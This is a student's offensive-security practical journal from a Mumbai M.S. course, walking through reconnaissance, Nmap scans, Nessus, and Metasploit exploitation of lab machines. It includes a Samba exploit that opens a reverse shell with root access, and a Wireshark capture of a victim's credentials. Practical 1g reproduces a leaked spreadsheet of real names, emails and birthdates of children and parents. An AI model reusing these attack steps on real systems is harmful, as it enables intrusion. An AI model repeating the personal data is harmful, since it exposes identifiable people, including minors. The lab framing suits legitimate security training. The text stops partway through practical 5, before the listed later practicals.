University of Mumbai

PRACTICAL JOURNAL

603

Offensive Security

SUBMITTED BY

Aniket Gupta

SEAT NO: _____

SUBMITTED IN PARTIAL FULFILLMENT OF THE REQUIREMENTS FOR QUALIFYING M.S (Cybersecurity) PART-II (SEMESTER – III) EXAMINATION

2025-2026

University of Mumbai

Department of Information Technology

Certificate

This is to certify that Mr./Ms._____Aniket Gupta_____,

Seat No._____Studying in M.S (Cybersecurity) **Part II Semester III** has satisfactorily completed the Practical of 603 **Offensive Security** as prescribed by University of Mumbai, during the academic year **2025 - 26**.

_____
Signature
Subject-In-Charge

_____
Signature
Head of the Department

_____
Signature External
Examiner

College Seal:_____ **Date:** _____

INDEX

Sr No	Title of the Practical's	Date	Pg. No	Signature
1	**Perform Footprinting and Reconnaissance (Passive Information Gathering):** a. Windows/Linux Command Line Utilities b. Whois Enumeration c. Google Hacking d. Netcraft e. Recon-ng f. Shodan g. Searching for Email Addresses	**11-8-25**	**5-15**	
2	**Perform Footprinting and Reconnaissance (Active Information Gathering)** a. DNS Enumeration b. Port Scanning c. SMB Enumeration	**15-8-25**	**16-18**	
3	**Perform Footprinting andReconnaissance (User Information Gathering)** a. Email Harvesting b. Password Dumps c. OSINT Framework d. Maltego	**20-8-25**	**19-23**	
4	**Capturing Traffic and Network Discovery.** a. Wireshark b. TCPDump c. Nmap	**26-8-25**	**24-26**	
5	**Vulnerability Analysis** a. Nessus b. Nmap c. Metasploit	**9-9-25**	**27-31**	
6	**Web Application Scanning** a. Nikto b. Dirb c. Burpsuite d. Sql Injection	**20-9-25**	**32-36**	
7	**Password Cracking Tools / Password Attacks** a. winrtgen b. PWDump c. Hydra d. John The Ripper e. Hashcat f. Ophcrack g. Cain and Abel	**8-10-25**	**37-41**	

8	**Social Engineering** a. The Social-Engineer Toolkit b. Web Attacks	**15-10-25**	**42-43**	
9	**Privilege Escalation** a. Windows Privilege Escalation b. Linux Privilege Escalation	**23-10-25**	**44-46**	

Offensive Security Practical No 1

Aim: Perform Footprinting and Reconnaissance (Passive Information Gathering)

a. Windows/Linux Command Line Utilities

curl / wget What: Fetch HTTP(S) responses and headers; useful for collecting public pages, robots.txt, sitemap.xml, certificate info

```
┌──(kali㉿kali)-[~]
└─$ curl -I kali.org
HTTP/1.1 301 Moved Permanently
Date: Sun, 16 Nov 2025 11:06:24 GMT
Content-Type: text/html
Connection: keep-alive
CF-RAY: 99f684cb0e7d3e45-BOM
Location: https://www.kali.org/
cf-cache-status: DYNAMIC
expect-ct: max-age=86400, enforce
referrer-policy: same-origin
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
Server: cloudflare
```

Whoami command line utility

```
┌──(kali㉿kali)-[~]
└─$ whois fixmux.in
Domain Name: fixmux.in
Registry Domain ID: DO_ed82f1be92aec7fd39238a29c1675a9d-NIXI
Registrar WHOIS Server: whois.hostinger.com
Registrar URL: http://www.hostinger.com
Updated Date: 2025-06-30T19:32:53.885Z
Creation Date: 2025-06-25T19:32:18.717Z
Registry Expiry Date: 2026-06-25T19:32:18.717Z
Registrar: HOSTINGER operations, UAB
Registrar IANA ID: 1636
Registrar Abuse Contact Email: domains@hostinger.com
Registrar Abuse Contact Phone: +3.7068424669
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registry Registrant ID: REDACTED FOR PRIVACY
Registrant Name: REDACTED FOR PRIVACY
Registrant Organization: Fix Mux
Registrant Street: REDACTED FOR PRIVACY
Registrant City: REDACTED FOR PRIVACY
Registrant State/Province: Maharashtra
Registrant Postal Code: REDACTED FOR PRIVACY
Registrant Country: IN
Registrant Phone: REDACTED FOR PRIVACY
```

Dig Command Line Utility

```
┌──(kali㉿kali)-[~]
└─$ dig zonetranfer.me

; <<>> DiG 9.20.11-4-Debian <<>> zonetranfer.me
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 12886
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;zonetranfer.me.                IN      A

;; AUTHORITY SECTION:
me.                     1800    IN      SOA     a0.nic.me. hostmaster.donuts.email. 176279
 3600

;; Query time: 80 msec
;; SERVER: 192.168.0.1#53(192.168.0.1) (UDP)
;; WHEN: Mon Nov 10 12:51:46 EST 2025
;; MSG SIZE  rcvd: 109
```

b. Whois Enumeration

Open any web In the address bar of the browser place your mouse cursor, type http://whois.domaintools.com and press Enter. Enter the domain address in the search bar and click on search

This search result reveals the details associated with the URL entered, www.certifiedhacker.com, which includes organizational details such as registration details, name servers, IP address, location, etc., as shown in the screenshots.

This concludes the demonstration of gathering information about a target organization by performing the Whois lookup using DomainTools.

c. Google Hacking

"google search operators" site:google.com enter this in browser and press enter

all the search results are only from google.com.

We can also find specific words or a string of words in the URL. We need to use the allinurl keyword to do this, looking for the exact string of text you defined. Let's say that you want to search for the "google search operators" string in the URL:

allinurl:google search operators

Notice that all the results have the exact text string you searched for

Similar to allinurl, you have another keyword, inurl. Unlike allinurl, it will look for the words somewhere in the URL.

inurl:google search operators

The results are returned. However, when you scroll down, there are similar strings like Advanced Google Search Operators that are also located.

You can also restrict the search to specific file types. For example, you can search for only PDF files.

Cybersecurity filetype:pdf

The search results display PDF files with the Cybersecurity word in their title.

You can also look for definitions using the define keyword. To do this, type the following command:

define:cybersecurity

The output displays the definition of Cybersecurity.

We can also get the direct link to login pages using intitle operator with site operator

intitle:login site:eccouncil.org

Output gives all login page links of site eccouncil.org

d. Netcraft

Navigate to https://sitereport.netcraft.com/ and enter https://certifiedhacker.com/ and click on LookUp

Now we got the site report, click on cetifiedhacker.com beside of domain to get the sub domains of the target

Here we got all the domain and subdomain of the target website.

e. Recon-ng

In kali Linux open a new terminal and type **recon-ng** to start recon-ng interface, now type **marketplace install all** and press Enter to install all the modules available in recon-ng. After the installation of modules, type the modules search command and press Enter. This displays all the modules available in recon-ng.

```
[recon-ng][default] >
[recon-ng][default] > modules search

  Discovery
  ---------
    discovery/info_disclosure/cache_snoop
    discovery/info_disclosure/interesting_files

  Exploitation
  ------------
    exploitation/injection/command_injector
    exploitation/injection/xpath_bruter

  Import
  ------
    import/csv_file
    import/list
    import/masscan
    import/nmap

  Recon
  -----
    recon/companies-contacts/bing_linkedin_cache
    recon/companies-contacts/censys_email_address
    recon/companies-contacts/pen
    recon/companies-domains/pen
    recon/companies-domains/viewdns_reverse_whois
    recon/companies-domains/whoxy_dns
```

Create a workspace in which to perform network reconnaissance. To create a workspace type **workspaces create <workspace_name>** and **workspaces list** command to list the workspaces

```
[recon-ng][Mr. Robot] > workspaces list

  +----------------------------------------+
  | Workspaces |        Modified           |
  +----------------------------------------+
  | Mr. Robot  | 2025-11-16 16:54:44 |
  | default    | 2025-11-16 16:48:05 |
  +----------------------------------------+

[recon-ng][Mr. Robot] >
```

Add a domain in which you want to perform network reconnaissance. Type the command **db insert domains** and press Enter. In the domain (TEXT) option type **certifiedhacker.com** and press Enter. In the notes (TEXT) option press Enter. This adds certifiedhacker.com to the present workspace.

```
[recon-ng][Mr. Robot] > db insert domains
domain (TEXT): certifiedhacker.com
notes (TEXT):
[*] 1 rows affected.
[recon-ng][Mr. Robot] > show domains

  +-----------------------------------------------------+
  | rowid |        domain        | notes |    module    |
  +-----------------------------------------------------+
  | 1     | certifiedhacker.com  |       | user_defined |
  +-----------------------------------------------------+

[*] 1 rows returned
[recon-ng][Mr. Robot] >
```

Now load the module using **modules load recon/domains-hosts/brute_hosts** commad and type **run** to execute the module

```
[*] ws8.certifiedhacker.com => No record found.
[*] Notes: None
[*] Region: None
[*] ----------------------------------------------------------
[*] Country: None
[*] Host: www.certifiedhacker.com
[*] Ip_Address: None
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ----------------------------------------------------------
[*] www.certifiedhacker.com => (A) 162.241.216.11
[*] zm.certifiedhacker.com => No record found.
[*] Country: None
[*] Host: www.certifiedhacker.com
[*] Ip_Address: 162.241.216.11
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ----------------------------------------------------------
```

We have now harvested the hosts related to certifiedhacker.com using the brute_hosts module Now, perform a reverse lookup for each IP address (the IP address that is obtained during the reconnaissance process) to resolve to respective hostnames.

Type **modules load reverse_resolve** command and press Enter to view all the modules associated with the reverse_resolve keyword. In this task, we will be using the **recon/hosts-hosts/reverse_resolve** module.

```
[recon-ng][Mr. Robot][brute_hosts] > modules load recon/hosts-hosts/reverse_resolve
[recon-ng][Mr. Robot][reverse_resolve] > run
```

```
[*] Country: None
[*] Host: box5331.bluehost.com
[*] Ip_Address: 162.241.216.11
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ----------------------------------------------------------
[*] 127.0.0.1 => No record found.

-------
SUMMARY
-------
[*] 1 total (1 new) hosts found.
```

Once done with the reverse lookup process, type the show hosts command and press Enter. This displays all the hosts that are harvested so far

rowid	host	ip_address	region	country	latitude	longitude	notes	module
1	autodiscover.certifiedhacker.com	162.241.216.11						brute_hosts
2	blog.certifiedhacker.com	162.241.216.11						brute_hosts
3	demo.certifiedhacker.com	162.241.216.11						brute_hosts
4	events.certifiedhacker.com	162.241.216.11						brute_hosts
5	mail.certifiedhacker.com							brute_hosts
6	imap.certifiedhacker.com							brute_hosts
7	imap.certifiedhacker.com	162.241.216.11						brute_hosts
8	localhost.certifiedhacker.com	127.0.0.1						brute_hosts
9	mail.certifiedhacker.com	162.241.216.11						brute_hosts
10	news.certifiedhacker.com	162.241.216.11						brute_hosts
11	pop.certifiedhacker.com							brute_hosts
12	pop.certifiedhacker.com	162.241.216.11						brute_hosts
13	smtp.certifiedhacker.com							brute_hosts
14	smtp.certifiedhacker.com	162.241.216.11						brute_hosts
15	webmail.certifiedhacker.com	162.241.216.11						brute_hosts
16	certifiedhacker.com							brute_hosts
17	www.certifiedhacker.com							brute_hosts
18	www.certifiedhacker.com	162.241.216.11						brute_hosts
19	box5331.bluehost.com	162.241.216.11						reverse_resolve

[*] 19 rows returned

Now, that we have harvested several hosts, we will prepare a report containing all the hosts.Type the modules load reporting command and press Enter to view all the modules associated with the reporting keyword. In this lab, we will save the report in HTML format. So, the module used is reporting/html.

Type the modules load reporting/html command and press Enter. Observe that you need to assign values for CREATOR and CUSTOMER options while the FILENAME value is already set, and you may change the value if required.

```
[recon-ng][CEH_by_Furkan][html] > options set CREATOR Furkan
CREATOR => Furkan
[recon-ng][CEH_by_Furkan][html] > options set CUSTOMER UDIT
CUSTOMER => UDIT
[recon-ng][CEH_by_Furkan][html] > options set FILENAME /home/kali/Desktop/results.html
FILENAME => /home/kali/Desktop/results.html
[recon-ng][CEH_by_Furkan][html] > run
[*] Report generated at '/home/kali/Desktop/results.html'.
[recon-ng][CEH_by_Furkan][html] >
```

f. Shodan

Shodan is a search engine for getting the IoT Devices services which are vulnerable, navigate to shodan.io

We can search for any IoT devices like webcamx, but here I am searching for vulnerable postgre Service

Now click on first IP and we can see all its publicly available info regarding the vulnerable service

g. Searching for Email Addresses

For searching the email addresses online, I am using Google Dorking query:

filetype:xls inurl:"email.xls"

Here I got a links for emails files, lets open anyone of it and view it

	B	C	D	E	F	G	H	I	J	
4	Name			Child	Mother	Father			Date	N
5	Aarya Dubhashi	Dipti Dubhashi	dipti.dubhashi@gmail.com	21st Feb 2003	28th July 1972	24th May 1972	Kedar Dubhashi	kedar.dubhashi@yahoo.co.in	8th Dec 1997	Anushre
6	Aditya Guhagark	Manju	manjunikhil@rediffmail.com	04-10-2003	18-09-73	11-11-1972	Nikhil	manjunikhil@rediffmail.com	06-11-1998	-26
7	ADITYA	BIJAL		10-07-2003	16/01/1973	17/12/1969	KAUSTUBH	kt@growmore.org.in	26/06/2000	Anan
8	AISHWARYA	KAVITA	kavitaraaga7@gmail.com	20/08/2003	22/10/1978					
9	Ajinkya	Vidya	naik.vidya@yahoo.com	12-01-2003	14-02-1976	09-05-1970	Pramod	naik.pramod@rocketmail.com	21st April	A
10	Ananyaa Mahesh	Amita Maheshwari	amitam@in.startv.com	5th Jun	31st Jan	17th Jan	Sanjeev Maheshv	sanjeev_maheshwari@yahoo.c	1st Dec	nil Krishn
11	Eshaan Banga	Ravinder	ravi.banga@yahoo.com	21.05.97	26th August	26th April	Tejinder Banga	teji_b@yahoo.com	19th February	Amc
12	Harsh Kamdar	Sonali	sonalikamdar02@gmail.com	23 sept '03	2 jan '79	26 sept '78	Kalpesh	kamdarkamdar@gmail.com	18-Feb	Gautar
13	Ishika hinduja	Jivika Hinduja	jivikahinduja@gmail.com	8.12.2003	30.4.1976	22.1.1974	Raj Hinduja		11.02.2000	Pr
14	jaydutt rane	pratibha					Asutosh			
15	Kahaan	Punita	punitaharsh@hotmail.com	16-Jan-03	17-Jul-72	05-Sep-72	Harsh	harshgshah@hotmail.com	17-May-97	
16	Krish Veera	Bhavini	bhaviniveera@gmail.com	16-10-2003	28-10-1976	08-07-1973	Rakesh	veera_rakesh@yahoo.com	08-03-2000	
17	Mansi Goud	Kruti	krutigoud@gmail.com				Yogesh			
18	Manushka	Poonam	poonam418@hotmail.com	01-03-2003	28/08/1976	18/12/1968	Manuj	manuj.mahendra@relianceada.	05-12-1998	
19	Mrunyamee	ruchi	skmandlik@hotmail.com				Sachin			
20	Namashree	Dipti		28-1-2003	26-8-64	26-6-58	Rajiv	ssyrishiraj@yahoo.co.in	12-12-1995	
21	Niharika	Dr Reshma Palep	reshma.palep@gmail.com	27/10/03	13/09/74	30/11/73	Jaydeep	surgeonjay@gmail.com	02-06-2003	Pr
22	Neil Gandhi	Shweta A Gandhi	shweta_mutha@hotmail.com	02-03-2003	02-03-1976	18/9/1975	Ashish P Gandhi	ashishgandhi@hotmail.com		
23	Parth Lele	Sujata Lele	sujatalele@yahoo.com	22/10/2002	05-09-1972	13/06/1967	Pramod Lele	prmaodlele@yahoo.com	12-01-2000	Swa
24	Reesha	Minal	kirantinna@rediffmail.com	31-08-2003	01-07-1965	24-01-1967	Kiran	kirantinna@rediffmail.com	05-01-1989	r
25	Renee Basu	keka					Rajat			
26	Rishika Gade	DR. Maya					Prashant			
27	Shivani Patil	Navita	mrpatil16@gmail.com				Mahindra			
28	Soham Gawli	Megha					Suryakant			
29	Vishma Chandara	Swati Chandarana	src0201@rediffmail.com	27/6/2003	01-02-1971	18/11/71	Rajiv Chandarana	rajivhc123@rediffmail.com	17/4/98	Pranit C
30	Fawad	Nusrat	doc.hauale@yahoo.com	28th Feb 2003	26th April 1973	26th Nov 1964	Suhel	suhelhakim@gmail.com	21st March 1998	

As attackers get the emails they target the user using the phishing emails.

Offensive Security Practical No 2

Aim: Perform Footprinting and Reconnaissance (Active Information Gathering)

a. DNS Enumeration

Open any browser and navigate to https://www.kloth.net/services/nslookup.php.Once the site opens, in the Domain: field, enter certifiedhacker.com. Set the Query: field to default [A (IPv4 address)] and click the Look it up button to review the results that are displayed

In Query tab you can see, there is an option for AAAA (IPv6 address); select that and click Look it up. Perform queries related to this, since there are attacks that are possible over IPv6 networks as well.

This concludes the demonstration of DNS information gathering using the NSLOOKUP online tool.

b. Port Scanning

TCP connect/Full Scan

```
┌──(kali㉿paradox)-[~]
└─$ nmap -sT 192.168.100.13
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-15 16:35 EDT
Nmap scan report for 192.168.100.13
Host is up (0.011s latency).
Not shown: 993 filtered tcp ports (no-response)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
554/tcp   open  rtsp
2869/tcp  open  icslap
5357/tcp  open  wsdapi
10243/tcp open  unknown
MAC Address: 08:00:27:89:D3:66 (PCS Systemtechnik/Oracle VirtualBox virtua

Nmap done: 1 IP address (1 host up) scanned in 5.54 seconds
```

Stealth Scan/ Half TCP Scan

```
┌──(kali㉿paradox)-[~/Desktop/Machines_WriteUps/m3taspl1abl3]
└─$ nmap -sS -v 192.168.100.8
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-17 14:36 EDT
Initiating ARP Ping Scan at 14:36
Scanning 192.168.100.8 [1 port]
Completed ARP Ping Scan at 14:36, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:36
Completed Parallel DNS resolution of 1 host. at 14:36, 0.05s elapsed
Initiating SYN Stealth Scan at 14:36
Scanning 192.168.100.8 [1000 ports]
Discovered open port 22/tcp on 192.168.100.8
Discovered open port 25/tcp on 192.168.100.8
Discovered open port 111/tcp on 192.168.100.8
Discovered open port 80/tcp on 192.168.100.8
Discovered open port 5900/tcp on 192.168.100.8
Discovered open port 3306/tcp on 192.168.100.8
Discovered open port 445/tcp on 192.168.100.8
Discovered open port 21/tcp on 192.168.100.8
Discovered open port 53/tcp on 192.168.100.8
Discovered open port 23/tcp on 192.168.100.8
```

X-mas Scan The scan results appear, displaying that the ports are either open or filtered on the target machine, which means a firewall has been configured on the target machine.

```
┌──(kali㉿paradox)-[~/Desktop/Machines_WriteUps/m3taspl1abl3]
└─$ nmap -sX 192.168.100.8
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-17 14:38 EDT
Nmap scan report for 192.168.100.8
Host is up (0.00084s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE          SERVICE
21/tcp    open|filtered ftp
22/tcp    open|filtered ssh
23/tcp    open|filtered telnet
25/tcp    open|filtered smtp
53/tcp    open|filtered domain
80/tcp    open|filtered http
111/tcp   open|filtered rpcbind
139/tcp   open|filtered netbios-ssn
445/tcp   open|filtered microsoft-ds
512/tcp   open|filtered exec
513/tcp   open|filtered login
514/tcp   open|filtered shell
1099/tcp  open|filtered rmiregistry
1524/tcp  open|filtered ingreslock
```

c. SMB Enumeration

The target machine is running the SMB Service on Port 139, so lets use Nmap to get the service version of it.

```
PORT     STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (
MAC Address: 08:00:27:CF:4C:27 (PCS Systemtechni
```

Nmap doesn't give the exact version for the smb service, so I will be using metasploit module auxiliary/scanner/smb/smb_version for getting the version.

```
msf6 auxiliary(scanner/smb/smb_version) > exploit
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.17/lib/recog/fingerprint/regexp_f
ctory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 192.168.100.8:139     -   Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] 192.168.100.8         - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Here I have the version now I can search for the same on metasploit and exploit it if any vulnerability is their

```
msf6 auxiliary(scanner/smb/smb_version) > search Samba 3.0.20

Matching Modules
================

   #  Name                                Disclosure Date  Rank       C
   -  ----                                ---------------  ----       -
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  N

Interact with a module by name or index. For example info 0, use 0 or u

msf6 auxiliary(scanner/smb/smb_version) >
```

As I got the exploit for smb,I will use it and try to get the remote access of the target machine.

```
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.100.5:4444
[*] Command shell session 2 opened (192.168.100.5:4444 → 192.168.100.8:4871
00

shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash

root@metasploitable:/# whoami
whoami
root
root@metasploitable:/# ^X@sS
```

Here we got the root access of the target machine by exploiting the smb vulnerability

Offensive Security Practical No 3

Aim: Perform Footprinting and Reconnaissance (User Information Gathering)

a. Email Harvesting

Go to kali linux and start the Harvester tool for email harvesting Enter command "*theHarvester -d facebook.com -l 500 -b baidu*"

b. Password Dumps

Password dumps are collections of user credentials — typically usernames/email addresses paired with passwords — that have been extracted from breached systems and published (or traded) online. They can appear as plain text passwords, or as password hashes (sometimes with salts). Dumps originate from compromised databases, misconfigured backups, phishing, credential-stuffing leaks, or data obtained by malware and attackers.

Navigate to https://breachdirectory.org/ and enter your email address to see whether your email password is exposed in data breach attack or not

c. OSINT Framework

OSINT Framework is an open-source intelligence gathering framework that helps security professionals for performing automated footprinting and reconnaissance,
Open any browser and navigate to https://osintframework.com/

•Clicking on any of the categories such as Username, Email Address, or Domain Name will make many useful resources appear on the screen in the form of a sub-tree.
•Click the Username category and click to expand the Username Search Engines and Specific Sites sub-categories.
•You can observe a list of OSINT tools filtered by sub-categories (Username Search Engines and Specific Sites sub-categories).

•From the list of available tools under the Username Search Engines category, click on the NameCheckr tool to navigate to the NameCheckr website.
•The NameCheckr website appears, as shown in the screenshot.

d. Maltego

On Kali Linux Start the Maltego and drag and drop the website entity from the left pane of the Entity Palette

Right click on website and click To Domain [DNS] to get the domains of the websites

Right-click the certifiedhacker.com entity and select All Transforms ---> To DNS Name [Using Name Schema diction...].

After identifying the name schema, attackers attempt to simulate various exploitation techniques to gain sensitive information related to the resultant name schemas. For example, an attacker may implement a brute-force or dictionary attack to log in to ftp.certifiedhacker.com and gain confidential information.

Right-click the certifiedhacker.com entity and select All Transforms --> To DNS Name SOA (Start of Authority). This returns the primary name server and the email of the domain administrator, as shown in the following screenshot

Right-click the entity and select All Transforms --> To IP Address [DNS]. . This displays the IP address of the website, as shown in the following screenshot

By obtaining the IP address of the website, an attacker can simulate various scanning techniques to find open ports and vulnerabilities and, thereby, attempt to intrude in the network and exploit them.

Right-click the IP address entity and select All Transforms --> To location [city, country]. By obtaining the information related to geographical location, attackers can perform social engineering attacks by making voice calls (vishing) to an individual in an attempt to leverage sensitive information.

Right-click the domain entity (certifiedhacker.com) and select All Transform --> To Entities from WHOIS [IBM Watson].

By obtaining this information, you can exploit the servers displayed in the result or simulate a brute force attack or any other technique to hack into the admin mail account and send phishing emails to the contacts in that account.

Apart from the aforementioned methods, you can perform footprinting on the critical employee from the target organization to gather additional personal information such as email addresses, phone numbers, personal information, image, alias, phrase, etc.

Offensive Security Practical No 4

Aim: Capturing Traffic and Network Discovery

a. Wireshark

Wireshark is a free, open-source **network protocol analyzer** (packet sniffer) used to capture, inspect, and analyze network traffic in detail. It provides a graphical interface for viewing packets, decoding hundreds of protocols, and filtering/searching traffic to troubleshoot networks, debug protocols, reverse-engineer issues, or study networking for learning and research.

Start the wireshark packet capturing on victim machine and go to http://testphp.vulnweb.com/login.php and enter the credentials.

Now go to wireshark and search for the packet of http from the ip address of the target machine

Here under the HTML form data, we get the username and password that our victim has entered on his system.

b. TCPdump

Tcpdump is a powerful, command-line **packet capture and analysis** tool for Unix-like systems (Linux, BSD, macOS). It captures network packets from an interface, applies Berkeley Packet Filter (BPF) expressions to select traffic, and writes captures to stdout or pcap files for later analysis with Wireshark/tshark.

Start tcpdump in kali Liux and type following command: sudo tcpdump -i eth0 -c 15 -w sample.pcap This will capture 15 packets and save it to a file sample.pcap

```
┌──(kali㉿kali)-[~]
└─$ sudo tcpdump -i eth0 -c 15 -w sample.pcap

tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
15 packets captured
27 packets received by filter
0 packets dropped by kernel
```

Now open the sample.pcap file using wireshark

Here we got the captured packets.

c. Nmap

IDLE/IPID Header Scan:
A TCP port scan method that can be used to send a spoofed source address to a computer to discover what services are available. **-sI needs a real "idle" zombie** — a host that is largely idle and has predictable IP ID behavior. If the zombie is active, the technique will fail or be unreliable.

```
┌──(kali㉿paradox)-[~/Desktop/Machines_WriteUps/m3taspl1abl3]
└─$ nmap -sI 192.168.100.11 192.168.100.8
WARNING: Many people use -Pn w/Idlescan to prevent pings from t
ap gains from pings can allow for faster, more reliable scans.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-17 14:57 EDT
Idle scan zombie 192.168.100.11 (192.168.100.11) port 443 canno
 probes -- perhaps it is down or firewalled.
QUITTING!
```

SCTP INIT Scan:
An INIT chunk is sent to the target host; an INIT+ACK chunk response implies that the port is open, and an ABORT Chunk response means that the port is closed.

```
┌──(kali㉿paradox)-[~/Desktop/Machines_WriteUps/m3taspl1abl3]
└─$ nmap -sY -v 192.168.100.8
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-17 15:01 EDT
Initiating ARP Ping Scan at 15:02
Scanning 192.168.100.8 [1 port]
Completed ARP Ping Scan at 15:02, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:02
Completed Parallel DNS resolution of 1 host. at 15:02, 0.04s elapse
Initiating SCTP INIT Scan at 15:02
Scanning 192.168.100.8 [52 ports]
Completed SCTP INIT Scan at 15:02, 1.65s elapsed (52 total ports)
Nmap scan report for 192.168.100.8
Host is up (0.00100s latency).
All 52 scanned ports on 192.168.100.8 are in ignored states.
Not shown: 45 filtered sctp ports (no-response), 7 filtered sctp po
MAC Address: 08:00:27:CF:4C:27 (PCS Systemtechnik/Oracle VirtualBox

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.87 seconds
           Raw packets sent: 99 (5.124KB) | Rcvd: 8 (588B)
```

SCTP COOKIE ECHO Scan: A COOKIE ECHO chunk is sent to the target host; no response implies that the port is open and ABORT Chunk response means that the port is closed

```
┌──(kali㉿paradox)-[~/Desktop/Machines_WriteUps/m3taspl1abl3]
└─$ nmap -sZ 192.168.100.8
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-17 15:05 E
Nmap scan report for 192.168.100.8
Host is up (0.0021s latency).
Not shown: 45 open|filtered sctp ports (no-response)
PORT        STATE    SERVICE
179/sctp    filtered bgp
2904/sctp   filtered m2ua
3097/sctp   filtered itu-bicc-stc
5672/sctp   filtered amqp
7626/sctp   filtered simco
9084/sctp   filtered aurora
14001/sctp filtered sua
MAC Address: 08:00:27:CF:4C:27 (PCS Systemtechnik/Oracle Virt

Nmap done: 1 IP address (1 host up) scanned in 1.86 seconds
```

Offensive Security Practical No 5

Aim: Vulnerability Analysis

a. Nessus

Nessus is an assessment solution for identifying vulnerabilities, configuration issues, and malware, which can be used to penetrate networks. It performs vulnerability, configuration, and compliance assessment. It supports various technologies such as OSes, network devices, hypervisors, databases, tablets/phones, web servers, and critical infrastructure.

- Run the Nessus Service and then go to Policy Section in Left Pane and click on new policy

- Click on Advanced Scan

- Under Port Scanning check the Verify Open TCP Ports Option

- Under Credentials section give the target machine credentials for ssh and save the policy

- Click on new Scan and select the scan template we created above

- Enter the IP Address of target machine and click launch scan to start the scan

- Click on Scan name, and here we see the vulnerabilities

- Click on Vulnerabilities to see details of the vulnerabilities of target machine

- Click on vulnerability to see details about it

On right tab, click on report and select html

b. Nmap

Nmap scripts can be also used for vulnerability assessment.Open terminal window and type: *nmap --script vuln 192.168.100.8*

```
┌──(kali㉿kali)-[~]
└─$ nmap --script vuln 192.168.100.8 -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-24 15:10 EDT
Stats: 0:06:10 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.95% done; ETC: 15:16 (0:00:00 remaining)
Stats: 0:09:04 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.95% done; ETC: 15:19 (0:00:00 remaining)
Nmap scan report for 192.168.100.8
Host is up (0.0043s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
| ftp-vsftpd-backdoor:
|   VULNERABLE:
|   vsFTPd version 2.3.4 backdoor
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2011-2523  BID:48539
|       vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
|     Disclosure date: 2011-07-03
|     Exploit results:
|       Shell command: id
```

```
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
| ssl-dh-params:
|   VULNERABLE:
|   Anonymous Diffie-Hellman Key Exchange MitM Vulnerability
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use anonymous
|       Diffie-Hellman key exchange only provide protection against passive
|       eavesdropping, and are vulnerable to active man-in-the-middle attacks
|       which could completely compromise the confidentiality and integrity
|       of any data exchanged over the resulting session.
|     Check results:
|       ANONYMOUS DH GROUP 1
|             Cipher Suite: TLS_DH_anon_WITH_RC4_128_MD5
|             Modulus Type: Safe prime
|             Modulus Source: postfix builtin
|             Modulus Length: 1024
|             Generator Length: 8
|             Public Key Length: 1024
|     References:
|       https://www.ietf.org/rfc/rfc2246.txt
```

```
|_ssl-ccs-injection: No reply from server (TIMEOUT)
5432/tcp open  postgresql
| ssl-ccs-injection:
|   VULNERABLE:
|   SSL/TLS MITM vulnerability (CCS Injection)
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
|       does not properly restrict processing of ChangeCipherSpec messages,
|       which allows man-in-the-middle attackers to trigger use of a zero
|       length master key in certain OpenSSL-to-OpenSSL communications, and
|       consequently hijack sessions or obtain sensitive information, via
|       a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|
|     References:
|       http://www.cvedetails.com/cve/2014-0224
|       http://www.openssl.org/news/secadv_20140605.txt
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
| ssl-dh-params:
|   VULNERABLE:
|   Diffie-Hellman Key Exchange Insufficient Group Strength
|     State: VULNERABLE
```

c. Metasploit

Firstly we will search for vulnerability for the specific version of the services using searchsploit then use it in Metasploit

Here I searched for ssh login

```
┌──(kali㉿kali)-[~]
└─$ searchsploit ssh login
---------------------------------------------------------------------------
 Exploit Title
---------------------------------------------------------------------------
SSH2 3.0 - Short Password Login
---------------------------------------------------------------------------
Shellcodes: No Results
```

We can use the ssh login module in metasploit using the keyword use and then set its options

```
msf6 > use 0
